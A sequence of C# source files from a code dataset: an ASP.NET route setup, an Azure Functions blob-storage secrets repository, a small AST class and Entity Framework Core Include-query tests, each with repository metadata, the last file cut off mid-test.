using System; using System.Collections.Generic; using System.Linq; using System.Web; using Microsoft.AspNet.Membership.OpenAuth; using System.Web.Routing; using Microsoft.AspNet.FriendlyUrls; namespace HSoft.ClientManager.Web { public static class RouteConfig { public static void RegisterRoutes(RouteCollection routes) { routes.EnableFriendlyUrls(); } } }
22.555556
65
0.721675
[ "MIT" ]
renehugentobler/ClientManager
HSoft.ClientManager.Web/App_Code/RouteConfig.cs
408
C#
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.IO; using System.Threading.Tasks; using Azure.Storage.Blobs; using Azure.Storage.Blobs.Models; using Azure.Storage.Blobs.Specialized; using Microsoft.Azure.WebJobs.Script.WebHost.Diagnostics.Extensions; using Microsoft.Extensions.Logging; namespace Microsoft.Azure.WebJobs.Script.WebHost { /// <summary> /// An <see cref="ISecretsRepository"/> implementation that uses Azure blob storage as the backing store. /// </summary> public class BlobStorageSecretsRepository : BaseSecretsRepository { private readonly string _secretsBlobPath; private readonly string _hostSecretsBlobPath; private readonly string _secretsContainerName = "azure-webjobs-secrets"; private readonly string _accountConnection; private readonly IAzureStorageProvider _azureStorageProvider; private BlobContainerClient _blobContainerClient; public BlobStorageSecretsRepository(string secretSentinelDirectoryPath, string accountConnection, string siteSlotName, ILogger logger, IEnvironment environment, IAzureStorageProvider azureStorageProvider) : base(secretSentinelDirectoryPath, logger, environment) { if (secretSentinelDirectoryPath == null) { throw new ArgumentNullException(nameof(secretSentinelDirectoryPath)); } if (accountConnection == null) { throw new ArgumentNullException(nameof(accountConnection)); } if (siteSlotName == null) { throw new ArgumentNullException(nameof(siteSlotName)); } _secretsBlobPath = siteSlotName.ToLowerInvariant(); _hostSecretsBlobPath = string.Format("{0}/{1}", _secretsBlobPath, ScriptConstants.HostMetadataFileName); _accountConnection = accountConnection; _azureStorageProvider = azureStorageProvider; } private BlobContainerClient Container { get { if (_blobContainerClient == null) { _blobContainerClient = CreateBlobContainerClient(_accountConnection); } return _blobContainerClient; } } public override bool IsEncryptionSupported { get { return false; } } protected virtual BlobContainerClient CreateBlobContainerClient(string connection) { if (_azureStorageProvider.TryGetBlobServiceClientFromConnection(out BlobServiceClient blobServiceClient, connection)) { var blobContainerClient = blobServiceClient.GetBlobContainerClient(_secretsContainerName); blobContainerClient.CreateIfNotExists(); return blobContainerClient; } throw new InvalidOperationException("Could not create BlobContainerClient"); } public override async Task<ScriptSecrets> ReadAsync(ScriptSecretsType type, string functionName) { string secretsContent = null; string blobPath = GetSecretsBlobPath(type, functionName); try { BlobClient secretBlobClient = Container.GetBlobClient(blobPath); if (await secretBlobClient.ExistsAsync()) { var downloadResponse = await secretBlobClient.DownloadAsync(); using (StreamReader reader = new StreamReader(downloadResponse.Value.Content)) { secretsContent = reader.ReadToEnd(); } } } catch (Exception) { LogErrorMessage("read"); throw; } return string.IsNullOrEmpty(secretsContent) ? null : ScriptSecretSerializer.DeserializeSecrets(type, secretsContent); } public override async Task WriteAsync(ScriptSecretsType type, string functionName, ScriptSecrets secrets) { if (secrets == null) { throw new ArgumentNullException(nameof(secrets)); } string blobPath = GetSecretsBlobPath(type, functionName); try { await WriteToBlobAsync(blobPath, ScriptSecretSerializer.SerializeSecrets(secrets)); } catch (Exception) { LogErrorMessage("write"); throw; } string filePath = GetSecretsSentinelFilePath(type, functionName); await FileUtility.WriteAsync(filePath, DateTime.UtcNow.ToString()); } public override async Task WriteSnapshotAsync(ScriptSecretsType type, string functionName, ScriptSecrets secrets) { if (secrets == null) { throw new ArgumentNullException(nameof(secrets)); } string blobPath = GetSecretsBlobPath(type, functionName); blobPath = SecretsUtility.GetNonDecryptableName(blobPath); try { await WriteToBlobAsync(blobPath, ScriptSecretSerializer.SerializeSecrets(secrets)); } catch (Exception) { LogErrorMessage("write"); throw; } } public override async Task PurgeOldSecretsAsync(IList<string> currentFunctions, ILogger logger) { // no-op - allow stale secrets to remain await Task.Yield(); } public override async Task<string[]> GetSecretSnapshots(ScriptSecretsType type, string functionName) { // Prefix is secret blob path without extension string prefix = Path.GetFileNameWithoutExtension(GetSecretsBlobPath(type, functionName)) + $".{ScriptConstants.Snapshot}"; var blobList = new List<string>(); try { var results = Container.GetBlobsAsync(prefix: string.Format("{0}/{1}", _secretsBlobPath, prefix.ToLowerInvariant())); await foreach (BlobItem item in results) { blobList.Add(item.Name); } } catch (Exception) { LogErrorMessage("list"); throw; } return blobList.ToArray(); } private string GetSecretsBlobPath(ScriptSecretsType secretsType, string functionName = null) { return secretsType == ScriptSecretsType.Host ? _hostSecretsBlobPath : string.Format("{0}/{1}", _secretsBlobPath, GetSecretFileName(functionName)); } private async Task WriteToBlobAsync(string blobPath, string secretsContent) { BlockBlobClient secretBlobClient = Container.GetBlockBlobClient(blobPath); using (StreamWriter writer = new StreamWriter(await secretBlobClient.OpenWriteAsync(true))) { await writer.WriteAsync(secretsContent); } } protected virtual void LogErrorMessage(string operation) { Logger?.BlobStorageSecretRepoError(operation, "AzureWebJobsStorage"); } } }
37.755
212
0.606277
[ "Apache-2.0", "MIT" ]
Nareshyadav595/azure-functions-host
src/WebJobs.Script.WebHost/Security/KeyManagement/BlobStorageSecretsRepository.cs
7,553
C#
using Sharpen; namespace org.bouncycastle.jce.netscape { [Sharpen.NakedStub] public class NetscapeCertRequest { } }
12.1
39
0.768595
[ "Apache-2.0" ]
Conceptengineai/XobotOS
android/naked-stubs/org/bouncycastle/jce/netscape/NetscapeCertRequest.cs
121
C#
namespace Basic.Ast { public abstract class Statement { public Statement(Block block) { Block = block; Method = Block.Method; } public Statement(MethodDef method, Block block) { Block = block; Method = method; } public SourceData SourceData { get; private set; } public Block Block { get; private set; } public MethodDef Method { get; private set; } public abstract void CheckAndResolve(); public abstract void Emit(); public void SetSourceData(SourceData sourceData) { SourceData = sourceData; } } }
21.625
58
0.547688
[ "Apache-2.0" ]
robertsundstrom/vb-lite-compiler
basc/Ast/Statement.cs
694
C#
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Linq; using System.Text.Json; using System.Text.Json.Serialization; using System.Threading.Tasks; using Microsoft.EntityFrameworkCore.Diagnostics; using Microsoft.EntityFrameworkCore.Internal; using Microsoft.EntityFrameworkCore.TestModels.Northwind; using Microsoft.EntityFrameworkCore.TestUtilities; using Xunit; // ReSharper disable InconsistentNaming // ReSharper disable StringStartsWithIsCultureSpecific #pragma warning disable RCS1202 // Avoid NullReferenceException. namespace Microsoft.EntityFrameworkCore.Query { public abstract class NorthwindIncludeQueryTestBase<TFixture> : QueryTestBase<TFixture> where TFixture : NorthwindQueryFixtureBase<NoopModelCustomizer>, new() { protected NorthwindIncludeQueryTestBase(TFixture fixture) : base(fixture) { } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_reference_and_collection_order_by(bool async) { return AssertQuery( async, ss => ss.Set<Order>().Include(o => o.Customer.Orders).OrderBy(o => o.OrderID), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.Customer), new ExpectedInclude<Customer>(c => c.Orders, "Customer")), assertOrder: true, entryCount: 919); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public async virtual Task Include_references_then_include_collection(bool async) { await AssertQuery( async, ss => ss.Set<Order>().Include(o => o.Customer).ThenInclude(c => c.Orders), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.Customer), new ExpectedInclude<Customer>(c => c.Orders, "Customer")), entryCount: 919); using var context = CreateContext(); var queryable = context.Set<Order>().Include(o => o.Customer).ThenInclude(c => c.Orders); var orders = async ? await queryable.ToListAsync() : queryable.ToList(); Assert.True(orders.Count > 0); Assert.True(orders.All(od => od.Customer != null)); Assert.True(orders.All(od => od.Customer.Orders != null)); TestJsonSerialization(useNewtonsoft: false, ignoreLoops: false, writeIndented: false); TestJsonSerialization(useNewtonsoft: false, ignoreLoops: false, writeIndented: true); TestJsonSerialization(useNewtonsoft: true, ignoreLoops: true, writeIndented: false); TestJsonSerialization(useNewtonsoft: true, ignoreLoops: true, writeIndented: true); TestJsonSerialization(useNewtonsoft: true, ignoreLoops: false, writeIndented: false); TestJsonSerialization(useNewtonsoft: true, ignoreLoops: false, writeIndented: true); void TestJsonSerialization(bool useNewtonsoft, bool ignoreLoops, bool writeIndented) { var ordersAgain = useNewtonsoft ? RoundtripThroughNewtonsoftJson(orders, ignoreLoops, writeIndented) : RoundtripThroughBclJson(orders, ignoreLoops, writeIndented); var ordersMap = ignoreLoops ? null : new Dictionary<int, Order>(); var customersMap = ignoreLoops ? null : new Dictionary<string, Customer>(); foreach (var order in ordersAgain) { VerifyOrder(context, order, ordersMap); var customer = order.Customer; Assert.Equal(order.CustomerID, customer.CustomerID); VerifyCustomer(context, customer, customersMap); foreach (var orderAgain in customer.Orders) { VerifyOrder(context, orderAgain, ordersMap); if (!ignoreLoops) { Assert.Same(customer, orderAgain.Customer); } } } } } [ConditionalTheory(Skip = "issue #15312")] [MemberData(nameof(IsAsyncData))] public virtual async Task Include_property_after_navigation(bool async) { Assert.Equal( CoreStrings.IncludeBadNavigation("CustomerID", nameof(Customer)), (await Assert.ThrowsAsync<InvalidOperationException>( () => AssertQuery( async, ss => ss.Set<Order>().Include(o => o.Customer.CustomerID)))).Message); } [ConditionalTheory(Skip = "issue #15312")] [MemberData(nameof(IsAsyncData))] public virtual async Task Include_property(bool async) { Assert.Equal( CoreStrings.IncludeBadNavigation("OrderDate", nameof(Order)), (await Assert.ThrowsAsync<InvalidOperationException>( () => AssertQuery( async, ss => ss.Set<Order>().Include(o => o.OrderDate)))).Message); } [ConditionalTheory(Skip = "issue #15312")] [MemberData(nameof(IsAsyncData))] public virtual async Task Include_property_expression_invalid(bool async) { Assert.Equal( CoreStrings.InvalidIncludeExpression(" "), (await Assert.ThrowsAsync<InvalidOperationException>( () => AssertQuery( async, ss => ss.Set<Order>().Include(o => new { o.Customer, o.OrderDetails })))).Message); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Then_include_collection_order_by_collection_column(bool async) { return AssertFirstOrDefault( async, ss => ss.Set<Customer>() .Include(c => c.Orders) .ThenInclude(o => o.OrderDetails) .Where(c => c.CustomerID.StartsWith("W")) .OrderByDescending(c => c.Orders.OrderByDescending(oo => oo.OrderDate).FirstOrDefault().OrderDate), asserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders), new ExpectedInclude<Order>(o => o.OrderDetails, "Orders")), entryCount: 55); } [ConditionalTheory(Skip = "issue#15312")] [MemberData(nameof(IsAsyncData))] public virtual async Task Then_include_property_expression_invalid(bool async) { Assert.Equal( CoreStrings.InvalidIncludeExpression(" "), (await Assert.ThrowsAsync<InvalidOperationException>( () => AssertQuery( async, ss => ss.Set<Customer>() .Include(o => o.Orders) .ThenInclude(o => new { o.Customer, o.OrderDetails })))).Message); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual async Task Include_closes_reader(bool async) { using var context = CreateContext(); if (async) { Assert.NotNull(await context.Set<Customer>().Include(c => c.Orders).FirstOrDefaultAsync()); Assert.NotNull(await context.Set<Product>().ToListAsync()); } else { Assert.NotNull(context.Set<Customer>().Include(c => c.Orders).FirstOrDefault()); Assert.NotNull(context.Set<Product>().ToList()); } } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_when_result_operator(bool async) { return AssertAny( async, ss => ss.Set<Customer>().Include(c => c.Orders)); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Include(c => c.Orders), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 921); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_then_reference(bool async) { return AssertQuery( async, ss => ss.Set<Product>().Include(p => p.OrderDetails).ThenInclude(od => od.Order), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Product>(p => p.OrderDetails), new ExpectedInclude<OrderDetail>(od => od.Order, "OrderDetails")), entryCount: 3062); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_with_last(bool async) { return AssertLast( async, ss => ss.Set<Customer>().Include(c => c.Orders).OrderBy(c => c.CompanyName), asserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 8); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual async Task Include_collection_with_last_no_orderby(bool async) { Assert.Equal( CoreStrings.LastUsedWithoutOrderBy(nameof(Enumerable.Last)), (await Assert.ThrowsAsync<InvalidOperationException>( () => AssertLast( async, ss => ss.Set<Customer>().Include(c => c.Orders), entryCount: 8))).Message); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_skip_no_order_by(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Skip(10).Include(c => c.Orders), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 811); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_take_no_order_by(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Take(10).Include(c => c.Orders), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 110); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_skip_take_no_order_by(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Skip(10).Take(5).Include(c => c.Orders), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 35); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_list(bool async) { return AssertQuery( async, ss => ss.Set<Product>().Include(p => p.OrderDetails).ThenInclude(od => od.Order), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Product>(p => p.OrderDetails), new ExpectedInclude<OrderDetail>(od => od.Order, "OrderDetails")), entryCount: 3062); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_alias_generation(bool async) { return AssertQuery( async, ss => ss.Set<Order>().Include(o => o.OrderDetails), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.OrderDetails)), entryCount: 2985); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_and_reference(bool async) { return AssertQuery( async, ss => ss.Set<Order>().Include(o => o.OrderDetails).Include(o => o.Customer), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.OrderDetails), new ExpectedInclude<Order>(o => o.Customer)), entryCount: 3074); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_orderby_take(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().OrderBy(c => c.CustomerID).Take(5).Include(c => c.Orders), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 53); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual async Task Include_collection_dependent_already_tracked(bool async) { using var context = CreateContext(); var orders = context.Set<Order>().Where(o => o.CustomerID == "ALFKI").ToList(); Assert.Equal(6, context.ChangeTracker.Entries().Count()); var customer = async ? await context.Set<Customer>() .Include(c => c.Orders) .SingleAsync(c => c.CustomerID == "ALFKI") : context.Set<Customer>() .Include(c => c.Orders) .Single(c => c.CustomerID == "ALFKI"); Assert.Equal(orders, customer.Orders, LegacyReferenceEqualityComparer.Instance); Assert.Equal(6, customer.Orders.Count); Assert.True(orders.All(o => ReferenceEquals(o.Customer, customer))); Assert.Equal(6 + 1, context.ChangeTracker.Entries().Count()); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_on_additional_from_clause(bool async) { return AssertQuery( async, ss => from c1 in ss.Set<Customer>().OrderBy(c => c.CustomerID).Take(5) from c2 in ss.Set<Customer>().Include(c2 => c2.Orders) select c2, elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 921); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_on_additional_from_clause_with_filter(bool async) { return AssertQuery( async, ss => from c1 in ss.Set<Customer>() from c2 in ss.Set<Customer>().Include(c => c.Orders).Where(c => c.CustomerID == "ALFKI") select c2, elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 7); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_on_additional_from_clause2(bool async) { return AssertQuery( async, ss => from c1 in ss.Set<Customer>().OrderBy(c => c.CustomerID).Take(5) from c2 in ss.Set<Customer>().Include(c2 => c2.Orders) select c1, entryCount: 5); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_where_skip_take_projection(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>() .Include(od => od.Order) .Where(od => od.Quantity == 10) .OrderBy(od => od.OrderID) .ThenBy(od => od.ProductID) .Skip(1) .Take(2) .Select(od => new { od.Order.CustomerID })); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_with_join_clause_with_filter(bool async) { return AssertQuery( async, ss => from c in ss.Set<Customer>().Include(c => c.Orders) join o in ss.Set<Order>() on c.CustomerID equals o.CustomerID where c.CustomerID.StartsWith("F") select c, elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 70); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_with_left_join_clause_with_filter(bool async) { return AssertQuery( async, ss => from c in ss.Set<Customer>().Include(c => c.Orders) join o in ss.Set<Order>() on c.CustomerID equals o.CustomerID into grouping from o in grouping.DefaultIfEmpty() where c.CustomerID.StartsWith("F") select c, elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 71); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_with_cross_join_clause_with_filter(bool async) { return AssertQuery( async, ss => from c in ss.Set<Customer>().Include(c => c.Orders) from o in ss.Set<Order>().OrderBy(o => o.OrderID).Take(5) where c.CustomerID.StartsWith("F") select c, elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 71); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_with_cross_apply_with_filter(bool async) { return AssertQuery( async, ss => from c in ss.Set<Customer>().Include(c => c.Orders) from o in ss.Set<Order>().Where(o => o.CustomerID == c.CustomerID).OrderBy(o => c.CustomerID).Take(5) where c.CustomerID.StartsWith("F") select c, elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 70); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_with_outer_apply_with_filter(bool async) { return AssertQuery( async, ss => from c in ss.Set<Customer>().Include(c => c.Orders) from o in ss.Set<Order>().Where(o => o.CustomerID == c.CustomerID) .OrderBy(o => c.CustomerID).Take(5).DefaultIfEmpty() where c.CustomerID.StartsWith("F") select c, elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 71); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_on_join_clause_with_order_by_and_filter(bool async) { return AssertQuery( async, ss => from c in ss.Set<Customer>().Include(c => c.Orders) join o in ss.Set<Order>() on c.CustomerID equals o.CustomerID where c.CustomerID == "ALFKI" orderby c.City select c, elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), assertOrder: true, entryCount: 7); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_order_by_collection_column(bool async) { return AssertFirstOrDefault( async, ss => ss.Set<Customer>() .Include(c => c.Orders) .Where(c => c.CustomerID.StartsWith("W")) .OrderByDescending(c => c.Orders.OrderByDescending(oo => oo.OrderDate).FirstOrDefault().OrderDate), asserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 15); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_order_by_key(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Include(c => c.Orders).OrderBy(c => c.CustomerID), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), assertOrder: true, entryCount: 921); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_order_by_non_key(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Include(c => c.Orders).OrderBy(c => c.PostalCode), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), assertOrder: true, entryCount: 921); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_order_by_non_key_with_take(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Include(c => c.Orders).OrderBy(c => c.ContactTitle).Take(10), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 126); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_order_by_non_key_with_skip(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Include(c => c.Orders).OrderBy(c => c.ContactTitle).Skip(10), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 795); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_order_by_non_key_with_first_or_default(bool async) { return AssertFirstOrDefault( async, ss => ss.Set<Customer>().Include(c => c.Orders).OrderByDescending(c => c.CompanyName), asserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 8); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_order_by_subquery(bool async) { return AssertFirstOrDefault( async, ss => ss.Set<Customer>() .Include(c => c.Orders) .Where(c => c.CustomerID == "ALFKI") .OrderBy(c => c.Orders.OrderBy(o => o.EmployeeID).Select(o => o.OrderDate).FirstOrDefault()), asserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 7); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual async Task Include_collection_principal_already_tracked(bool async) { using var context = CreateContext(); var customer1 = context.Set<Customer>().Single(c => c.CustomerID == "ALFKI"); Assert.Single(context.ChangeTracker.Entries()); var customer2 = async ? await context.Set<Customer>() .Include(c => c.Orders) .SingleAsync(c => c.CustomerID == "ALFKI") : context.Set<Customer>() .Include(c => c.Orders) .Single(c => c.CustomerID == "ALFKI"); Assert.Same(customer1, customer2); Assert.Equal(6, customer2.Orders.Count); Assert.True(customer2.Orders.All(o => o.Customer != null)); Assert.Equal(7, context.ChangeTracker.Entries().Count()); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_single_or_default_no_result(bool async) { return AssertSingleOrDefault( async, ss => ss.Set<Customer>().Include(c => c.Orders), c => c.CustomerID == "ALFKI ?"); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_when_projection(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Include("Orders").Select(c => c.CustomerID)); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_with_filter(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Include(c => c.Orders).Where(c => c.CustomerID == "ALFKI"), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 7); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_collection_with_filter_reordered(bool async) { return AssertQuery( async, ss => ss.Set<Customer>().Where(c => c.CustomerID == "ALFKI").Include(c => c.Orders), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Customer>(c => c.Orders)), entryCount: 7); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_duplicate_collection(bool async) { return AssertQuery( async, ss => from c1 in ss.Set<Customer>().Include(c => c.Orders).OrderBy(c => c.CustomerID).Take(2) from c2 in ss.Set<Customer>().Include(c => c.Orders).OrderBy(c => c.CustomerID).Skip(2).Take(2) select new { c1, c2 }, elementSorter: e => (e.c1.CustomerID, e.c2.CustomerID), elementAsserter: (e, a) => { AssertInclude(e.c1, a.c1, new ExpectedInclude<Customer>(c => c.Orders)); AssertInclude(e.c2, a.c2, new ExpectedInclude<Customer>(c => c.Orders)); }, entryCount: 34); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_duplicate_collection_result_operator(bool async) { return AssertQuery( async, ss => (from c1 in ss.Set<Customer>().Include(c => c.Orders).OrderBy(c => c.CustomerID).Take(2) from c2 in ss.Set<Customer>().Include(c => c.Orders).OrderBy(c => c.CustomerID).Skip(2).Take(2) select new { c1, c2 }).Take(1), elementSorter: e => (e.c1.CustomerID, e.c2.CustomerID), elementAsserter: (e, a) => { AssertInclude(e.c1, a.c1, new ExpectedInclude<Customer>(c => c.Orders)); AssertInclude(e.c2, a.c2, new ExpectedInclude<Customer>(c => c.Orders)); }, entryCount: 15); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_duplicate_collection_result_operator2(bool async) { return AssertQuery( async, ss => (from c1 in ss.Set<Customer>().Include(c => c.Orders).OrderBy(c => c.CustomerID).Take(2) from c2 in ss.Set<Customer>().OrderBy(c => c.CustomerID).Skip(2).Take(2) select new { c1, c2 }).Take(1), elementSorter: e => (e.c1.CustomerID, e.c2.CustomerID), elementAsserter: (e, a) => { AssertInclude(e.c1, a.c1, new ExpectedInclude<Customer>(c => c.Orders)); AssertEqual(e.c2, a.c2); }, entryCount: 8); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_duplicate_reference(bool async) { return AssertQuery( async, ss => from o1 in ss.Set<Order>().Include(o => o.Customer).OrderBy(o => o.CustomerID).ThenBy(o => o.OrderID).Take(2) from o2 in ss.Set<Order>().Include(o => o.Customer).OrderBy(o => o.CustomerID).ThenBy(o => o.OrderID).Skip(2).Take(2) select new { o1, o2 }, elementSorter: e => (e.o1.OrderID, e.o2.OrderID), elementAsserter: (e, a) => { AssertInclude(e.o1, a.o1, new ExpectedInclude<Order>(c => c.Customer)); AssertInclude(e.o2, a.o2, new ExpectedInclude<Order>(c => c.Customer)); }, entryCount: 5); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_duplicate_reference2(bool async) { return AssertQuery( async, ss => from o1 in ss.Set<Order>().Include(o => o.Customer).OrderBy(o => o.OrderID).Take(2) from o2 in ss.Set<Order>().OrderBy(o => o.OrderID).Skip(2).Take(2) select new { o1, o2 }, elementSorter: e => (e.o1.OrderID, e.o2.OrderID), elementAsserter: (e, a) => { AssertInclude(e.o1, a.o1, new ExpectedInclude<Order>(c => c.Customer)); AssertEqual(e.o2, a.o2); }, entryCount: 6); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_duplicate_reference3(bool async) { return AssertQuery( async, ss => from o1 in ss.Set<Order>().OrderBy(o => o.OrderID).Take(2) from o2 in ss.Set<Order>().OrderBy(o => o.OrderID).Include(o => o.Customer).Skip(2).Take(2) select new { o1, o2 }, elementSorter: e => (e.o1.OrderID, e.o2.OrderID), elementAsserter: (e, a) => { AssertEqual(e.o1, a.o1); AssertInclude(e.o2, a.o2, new ExpectedInclude<Order>(c => c.Customer)); }, entryCount: 6); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual async Task Include_collection_with_client_filter(bool async) { Assert.Contains( CoreStrings.TranslationFailedWithDetails( "", CoreStrings.QueryUnableToTranslateMember(nameof(Customer.IsLondon), nameof(Customer))).Substring(21), (await Assert.ThrowsAsync<InvalidOperationException>( () => AssertQuery( async, ss => ss.Set<Customer>().Include(c => c.Orders).Where(c => c.IsLondon)))) .Message.Replace("\r", "").Replace("\n", "")); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_multi_level_reference_and_collection_predicate(bool async) { return AssertSingle( async, ss => ss.Set<Order>().Include(o => o.Customer.Orders), o => o.OrderID == 10248, asserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.Customer), new ExpectedInclude<Customer>(c => c.Orders, "Customer")), entryCount: 6); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_multi_level_collection_and_then_include_reference_predicate(bool async) { return AssertSingle( async, ss => ss.Set<Order>().Include(o => o.OrderDetails).ThenInclude(od => od.Product), o => o.OrderID == 10248, asserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<Order>(o => o.OrderDetails), new ExpectedInclude<OrderDetail>(od => od.Product, "OrderDetails")), entryCount: 7); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_multiple_references(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>().Include(o => o.Order).Include(o => o.Product), elementAsserter: (e, a) => AssertInclude(e, a, new ExpectedInclude<OrderDetail>(od => od.Order), new ExpectedInclude<OrderDetail>(od => od.Product)), entryCount: 3062); } [ConditionalTheory] [MemberData(nameof(IsAsyncData))] public virtual Task Include_multiple_references_and_collection_multi_level(bool async) { return AssertQuery( async, ss => ss.Set<OrderDetail>().Include(od => od.Order.Customer.Orders).Include(od => od.Product), elementAsserter: (e, a) => AssertInclude(e, a, new 